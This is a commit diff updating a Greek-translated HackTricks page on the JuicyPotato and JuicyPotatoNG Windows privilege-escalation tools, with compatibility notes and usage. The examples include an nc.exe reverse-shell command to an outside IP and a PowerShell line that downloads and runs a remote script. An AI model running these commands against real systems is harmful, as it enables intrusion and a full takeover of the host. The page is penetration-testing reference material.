Translated ['src/windows-hardening/windows-local-privilege-escalation/ju

This commit is contained in:
Translator 2025-09-03 12:29:54 +00:00
parent ff7f3d8775
commit 9aa7ddb138

View File

@ -2,52 +2,58 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
> [!WARNING] > **Το JuicyPotato δεν λειτουργεί** σε Windows Server 2019 και Windows 10 build 1809 και μετά. Ωστόσο, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) μπορούν να χρησιμοποιηθούν για να **εκμεταλλευτούν τα ίδια προνόμια και να αποκτήσουν πρόσβαση επιπέδου `NT AUTHORITY\SYSTEM`**. _**Έλεγχος:**_ > [!WARNING] > JuicyPotato είναι legacy. Γενικά λειτουργεί σε Windows εκδόσεις μέχρι τα Windows 10 1803 / Windows Server 2016. Αλλαγές της Microsoft που κυκλοφόρησαν αρχίζοντας από τα Windows 10 1809 / Server 2019 έσπασαν την αρχική τεχνική. Για αυτές τις builds και νεότερες, εξετάστε σύγχρονες εναλλακτικές όπως PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato και άλλες. Δείτε τη σελίδα παρακάτω για ενημερωμένες επιλογές και χρήση.
{{#ref}} {{#ref}}
roguepotato-and-printspoofer.md roguepotato-and-printspoofer.md
{{#endref}} {{#endref}}
## Juicy Potato (κατάχρηση των χρυσών προνομίων) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a> ## Juicy Potato (κατάχρηση των golden προνομίων) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
_Μια γλυκιά έκδοση του_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, με λίγο χυμό, δηλαδή **ένα άλλο εργαλείο Τοπικής Κατάχρησης Προνομίων, από Λογαριασμούς Υπηρεσιών Windows σε NT AUTHORITY\SYSTEM**_ _Μια γλυκαντική έκδοση του_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, με λίγη έξτρα λειτουργικότητα, δηλαδή_ **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**
#### Μπορείτε να κατεβάσετε το juicypotato από [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) #### Μπορείτε να κατεβάσετε το juicypotato από [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
### Σύντομες σημειώσεις συμβατότητας
- Λειτουργεί αξιόπιστα έως τα Windows 10 1803 και Windows Server 2016 όταν το τρέχον context έχει SeImpersonatePrivilege ή SeAssignPrimaryTokenPrivilege.
- Έχει σπάσει από το Microsoft hardening στα Windows 10 1809 / Windows Server 2019 και νεότερα. Προτιμήστε τις εναλλακτικές που συνδέονται παραπάνω για αυτές τις εκδόσεις.
### Περίληψη <a href="#summary" id="summary"></a> ### Περίληψη <a href="#summary" id="summary"></a>
[**Από το juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) και οι [παραλλαγές του](https://github.com/decoder-it/lonelypotato) εκμεταλλεύονται την αλυσίδα κατάχρησης προνομίων βασισμένη σε [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [υπηρεσία](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) που έχει τον MiTM listener στο `127.0.0.1:6666` και όταν έχετε προνόμια `SeImpersonate` ή `SeAssignPrimaryToken`. Κατά τη διάρκεια μιας ανασκόπησης build Windows βρήκαμε μια ρύθμιση όπου το `BITS` είχε σκόπιμα απενεργοποιηθεί και η θύρα `6666` είχε καταληφθεί. [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
Αποφασίσαμε να οπλοποιήσουμε [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Πείτε γεια στο Juicy Potato**. Αποφασίσαμε να οπλοποιήσουμε τον [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Γνωρίστε το Juicy Potato**.
> Για τη θεωρία, δείτε [Rotten Potato - Κατάχρηση Προνομίων από Λογαριασμούς Υπηρεσιών σε SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) και ακολουθήστε την αλυσίδα των συνδέσμων και αναφορών. > Για τη θεωρία, δείτε [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) και ακολουθήστε την αλυσίδα συνδέσμων και αναφορών.
Ανακαλύψαμε ότι, εκτός από το `BITS`, υπάρχουν αρκετοί COM servers που μπορούμε να καταχραστούμε. Απλά χρειάζεται να: Ανακαλύψαμε ότι, πέρα από την `BITS`, υπάρχουν αρκετοί COM servers που μπορούμε να καταχραστούμε. Απλώς πρέπει να:
1. είναι δυνατό να δημιουργηθούν από τον τρέχοντα χρήστη, κανονικά έναν “χρήστη υπηρεσίας” που έχει προνόμια κατάχρησης 1. να μπορούν να δημιουργηθούν από τον τρέχοντα χρήστη, συνήθως έναν “service user” που έχει impersonation privileges
2. να υλοποιούν τη διεπαφή `IMarshal` 2. να υλοποιούν το interface `IMarshal`
3. να εκτελούνται ως ανυψωμένος χρήστης (SYSTEM, Διαχειριστής, …) 3. να τρέχουν ως elevated user (SYSTEM, Administrator, …)
Μετά από κάποιες δοκιμές αποκτήσαμε και δοκιμάσαμε μια εκτενή λίστα από [ενδιαφέροντα CLSIDs](http://ohpe.it/juicy-potato/CLSID/) σε πολλές εκδόσεις Windows. Μετά από δοκιμές, συλλέξαμε και δοκιμάσαμε μια εκτενή λίστα από [interesting CLSIDs](http://ohpe.it/juicy-potato/CLSID/) σε διάφορες εκδόσεις των Windows.
### Juicy λεπτομέρειες <a href="#juicy-details" id="juicy-details"></a> ### Λεπτομέρειες <a href="#juicy-details" id="juicy-details"></a>
JuicyPotato σας επιτρέπει να: JuicyPotato σας επιτρέπει να:
- **Στόχος CLSID** _επιλέξτε οποιοδήποτε CLSID θέλετε._ [_Εδώ_](http://ohpe.it/juicy-potato/CLSID/) _μπορείτε να βρείτε τη λίστα οργανωμένη κατά OS._ - **Target CLSID** _επιλέξτε οποιοδήποτε CLSID θέλετε._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _θα βρείτε τη λίστα οργανωμένη ανά OS._
- **Θύρα Listening COM** _ορίστε τη θύρα listening COM που προτιμάτε (αντί της σκληρά κωδικοποιημένης 6666)_ - **COM Listening port** _ορίστε την προτιμώμενη θύρα COM listening (αντί για το marshalled hardcoded `6666`)_
- **Διεύθυνση IP Listening COM** _δεσμεύστε τον server σε οποιαδήποτε IP_ - **COM Listening IP address** _bind τον server σε οποιαδήποτε IP_
- **Λειτουργία δημιουργίας διεργασίας** _ανάλογα με τα προνόμια του χρήστη που έχει καταχραστεί μπορείτε να επιλέξετε από:_ - **Process creation mode** _ανάλογα με τα privileges του impersonated χρήστη μπορείτε να επιλέξετε από:_
- `CreateProcessWithToken` (χρειάζεται `SeImpersonate`) - `CreateProcessWithToken` (needs `SeImpersonate`)
- `CreateProcessAsUser` (χρειάζεται `SeAssignPrimaryToken`) - `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
- `και τα δύο` - `both`
- **Διεργασία προς εκτέλεση** _εκκινήστε ένα εκτελέσιμο ή σενάριο αν η εκμετάλλευση είναι επιτυχής_ - **Process to launch** _εκκινήστε ένα εκτελέσιμο ή script αν η εκμετάλλευση πετύχει_
- **Επιχείρημα Διεργασίας** _προσαρμόστε τα επιχειρήματα της εκκινούμενης διεργασίας_ - **Process Argument** _προσαρμόστε τα arguments της εκκινούμενης διαδικασίας_
- **Διεύθυνση RPC Server** _για μια κρυφή προσέγγιση μπορείτε να πιστοποιηθείτε σε έναν εξωτερικό RPC server_ - **RPC Server address** _για μια πιο stealthy προσέγγιση μπορείτε να αυθεντικοποιηθείτε σε έναν εξωτερικό RPC server_
- **Θύρα RPC Server** _χρήσιμη αν θέλετε να πιστοποιηθείτε σε έναν εξωτερικό server και το firewall μπλοκάρει τη θύρα `135`…_ - **RPC Server port** _χρήσιμο αν θέλετε να αυθεντικοποιηθείτε σε εξωτερικό server και το firewall μπλοκάρει την πόρτα `135`…_
- **ΛΕΙΤΟΥΡΓΙΑ ΔΟΚΙΜΗΣ** υρίως για δοκιμαστικούς σκοπούς, δηλαδή δοκιμή CLSIDs. Δημιουργεί το DCOM και εκτυπώνει τον χρήστη του token. Δείτε_ [_εδώ για δοκιμή_](http://ohpe.it/juicy-potato/Test/) - **TEST mode** υρίως για δοκιμές, π.χ. δοκιμή CLSIDs. Δημιουργεί το DCOM και εκτυπώνει τον χρήστη του token. Δείτε_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
### Χρήση <a href="#usage" id="usage"></a> ### Χρήση <a href="#usage" id="usage"></a>
``` ```
@ -68,21 +74,42 @@ Optional args:
``` ```
### Τελικές σκέψεις <a href="#final-thoughts" id="final-thoughts"></a> ### Τελικές σκέψεις <a href="#final-thoughts" id="final-thoughts"></a>
[**Από το juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
Εάν ο χρήστης έχει δικαιώματα `SeImpersonate` ή `SeAssignPrimaryToken`, τότε είστε **SYSTEM**. Αν ο χρήστης έχει `SeImpersonate` ή `SeAssignPrimaryToken` προνόμια τότε είστε **SYSTEM**.
Είναι σχεδόν αδύνατο να αποτραπεί η κακή χρήση όλων αυτών των COM Servers. Μπορείτε να σκεφτείτε να τροποποιήσετε τα δικαιώματα αυτών των αντικειμένων μέσω του `DCOMCNFG`, αλλά καλή τύχη, αυτό θα είναι προκλητικό. Είναι σχεδόν αδύνατο να αποτραπεί η κατάχρηση όλων αυτών των COM Servers. Μπορείτε να σκεφτείτε την τροποποίηση των δικαιωμάτων αυτών των αντικειμένων μέσω του `DCOMCNFG`, αλλά καλή τύχη — αυτό θα είναι δύσκολο.
Η πραγματική λύση είναι να προστατεύσετε ευαίσθητους λογαριασμούς και εφαρμογές που εκτελούνται υπό τους λογαριασμούς `* SERVICE`. Η διακοπή του `DCOM` θα εμπόδιζε σίγουρα αυτή την εκμετάλλευση, αλλά θα μπορούσε να έχει σοβαρό αντίκτυπο στο υποκείμενο λειτουργικό σύστημα. Η πραγματική λύση είναι να προστατευτούν ευαίσθητοι λογαριασμοί και εφαρμογές που τρέχουν κάτω από τους λογαριασμούς `* SERVICE`. Η απενεργοποίηση του `DCOM` θα εμπόδιζε σίγουρα αυτό το exploit αλλά μπορεί να έχει σοβαρό αντίκτυπο στο υποκείμενο OS.
Από: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
## JuicyPotatoNG (2022+)
JuicyPotatoNG επανεισάγει ένα JuicyPotato-style local privilege escalation σε σύγχρονα Windows συνδυάζοντας:
- DCOM OXID resolution σε τοπικό RPC server σε επιλεγμένη θύρα, αποφεύγοντας τον παλαιό σκληροκωδικοποιημένο listener 127.0.0.1:6666.
- Ένα SSPI hook για να καταγράψει και να προσωποποιήσει την εισερχόμενη πιστοποίηση SYSTEM χωρίς να απαιτεί RpcImpersonateClient, κάτι που επίσης επιτρέπει CreateProcessAsUser όταν υπάρχει μόνο το SeAssignPrimaryTokenPrivilege.
- Τρικ για να ικανοποιήσουν τους περιορισμούς ενεργοποίησης DCOM (π.χ. η πρώην απαίτηση INTERACTIVE-group όταν στοχεύονται οι κλάσεις PrintNotify / ActiveX Installer Service).
Σημαντικές σημειώσεις (εξελισσόμενη συμπεριφορά ανά builds):
- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”.
- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
Basic usage (more flags in the help):
```
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# Useful helpers:
# -b Bruteforce all CLSIDs (testing only; spawns many processes)
# -s Scan for a COM port not filtered by Windows Defender Firewall
# -i Interactive console (only with CreateProcessAsUser)
```
If youre targeting Windows 10 1809 / Server 2019 where classic JuicyPotato is patched, prefer the alternatives linked at the top (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG may be situational depending on build and service state.
## Παραδείγματα ## Παραδείγματα
Σημείωση: Επισκεφθείτε [αυτή τη σελίδα](https://ohpe.it/juicy-potato/CLSID/) για μια λίστα με CLSIDs για δοκιμή. Σημείωση: Επισκεφτείτε [this page](https://ohpe.it/juicy-potato/CLSID/) για μια λίστα με CLSIDs που μπορείτε να δοκιμάσετε.
### Πάρτε ένα nc.exe reverse shell ### Αποκτήστε ένα nc.exe reverse shell
``` ```
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t * c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
@ -95,34 +122,33 @@ Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
c:\Users\Public> c:\Users\Public>
``` ```
### Powershell rev ### Powershell αντίστροφο
``` ```
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t * .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
``` ```
### Εκκίνηση νέου CMD (αν έχετε πρόσβαση RDP) ### Εκκινήστε ένα νέο CMD (αν έχετε πρόσβαση RDP)
![](<../../images/image (300).png>) ![](<../../images/image (300).png>)
## Προβλήματα CLSID ## Προβλήματα CLSID
Συχνά, το προεπιλεγμένο CLSID που χρησιμοποιεί το JuicyPotato **δεν λειτουργεί** και η εκμετάλλευση αποτυγχάνει. Συνήθως, απαιτούνται πολλές προσπάθειες για να βρείτε ένα **λειτουργικό CLSID**. Για να αποκτήσετε μια λίστα με CLSIDs για να δοκιμάσετε για ένα συγκεκριμένο λειτουργικό σύστημα, θα πρέπει να επισκεφθείτε αυτή τη σελίδα: Συχνά, το προεπιλεγμένο CLSID που χρησιμοποιεί το JuicyPotato **δεν λειτουργεί** και το exploit αποτυγχάνει. Συνήθως χρειάζονται πολλαπλές προσπάθειες για να βρείτε ένα **λειτουργικό CLSID**. Για να πάρετε μια λίστα CLSIDs για ένα συγκεκριμένο λειτουργικό σύστημα, επισκεφτείτε αυτήν τη σελίδα:
{{#ref}} - [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
https://ohpe.it/juicy-potato/CLSID/
{{#endref}}
### **Έλεγχος CLSIDs** ### **Έλεγχος CLSIDs**
Αρχικά, θα χρειαστείτε μερικά εκτελέσιμα αρχεία εκτός από το juicypotato.exe. Πρώτα, θα χρειαστείτε μερικά εκτελέσιμα αρχεία εκτός από το juicypotato.exe.
Κατεβάστε [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) και φορτώστε το στη συνεδρία PS σας, και κατεβάστε και εκτελέστε [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Αυτό το σενάριο θα δημιουργήσει μια λίστα με πιθανά CLSIDs για δοκιμή. Κατεβάστε [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) και φορτώστε το στη συνεδρία PS σας, και κατεβάστε και εκτελέστε [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Αυτό το script θα δημιουργήσει μια λίστα πιθανών CLSIDs για δοκιμή.
Στη συνέχεια, κατεβάστε [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(αλλάξτε τη διαδρομή στη λίστα CLSID και στο εκτελέσιμο juicypotato) και εκτελέστε το. Θα αρχίσει να δοκιμάζει κάθε CLSID, και **όταν αλλάξει ο αριθμός θύρας, θα σημαίνει ότι το CLSID λειτούργησε**. Στη συνέχεια, κατεβάστε [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(αλλάξτε τη διαδρομή προς τη λίστα CLSID και προς το εκτελέσιμο του juicypotato) και εκτελέστε το. Θα αρχίσει να δοκιμάζει κάθε CLSID, και **όταν αλλάξει ο αριθμός θύρας, αυτό θα σημαίνει ότι το CLSID λειτούργησε**.
**Ελέγξτε** τα λειτουργικά CLSIDs **χρησιμοποιώντας την παράμετρο -c** **Ελέγξτε** τα λειτουργικά CLSIDs **χρησιμοποιώντας την παράμετρο -c**
## Αναφορές ## Αναφορές
- [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md) - [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}